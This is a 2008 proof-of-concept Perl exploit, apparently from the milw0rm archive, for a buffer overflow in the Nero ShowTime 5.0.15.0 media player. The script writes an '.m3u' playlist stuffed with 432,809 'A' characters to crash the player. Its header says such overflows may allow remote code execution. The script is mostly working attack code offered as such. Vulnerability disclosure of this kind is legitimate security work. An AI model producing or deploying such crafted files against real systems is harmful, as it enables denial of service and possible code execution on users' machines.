Nero ShowTime 5.0.15.0 - '.m3u' Playlist File Remote Buffer Overflow (PoC)

#!/usr/bin/perl -w
#
# Nero ShowTime v5.0.15.0 m3u Playlist File Remote Buffer Overflow PoC
#
# Summary: Nero ShowTime provides you with a high-performance software DVD player
# that takes you to a new dimension in DVD's. Its cinema-like sound and excellent image
# quality for all digital pictures make an adventure of every film! What is more, Nero ShowTime
# supports all DVD-Video formats and can play them from a disc and from the hard drive.
#
# Product web page: http://www.nero.com
#
# Description: Nero ShowTime is prone to a buffer-overflow vulnerability because it fails
# to perform adequate boundary checks on user-supplied input. Successfully exploiting
# these issues may allow remote attackers to execute arbitrary code in the context of the
# application. Failed exploit attempts will cause denial-of-service conditions. Nero ShowTime
# 5.0.15.0 is vulnerable, prior versions may also be affected.
#
# Tested on Microsoft Windows XP Professional SP2 (English)
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
# liquidworm [ t00t ] gmail [ d0t ] com
#
# 24.11.2008
#

$filename = "Jackie_Chan.m3u";

$mana = "A" x 432809;

print "\n\n[*] Creating evul playlist: $filename ...\r\n";
sleep(3);

open(m3u, ">./$filename") || die "\n\aCannot open $filename: $!";

print m3u "$mana";

close (m3u);

print "\n[*] Playlist file successfully created!\r\n";

# milw0rm.com [2008-11-24]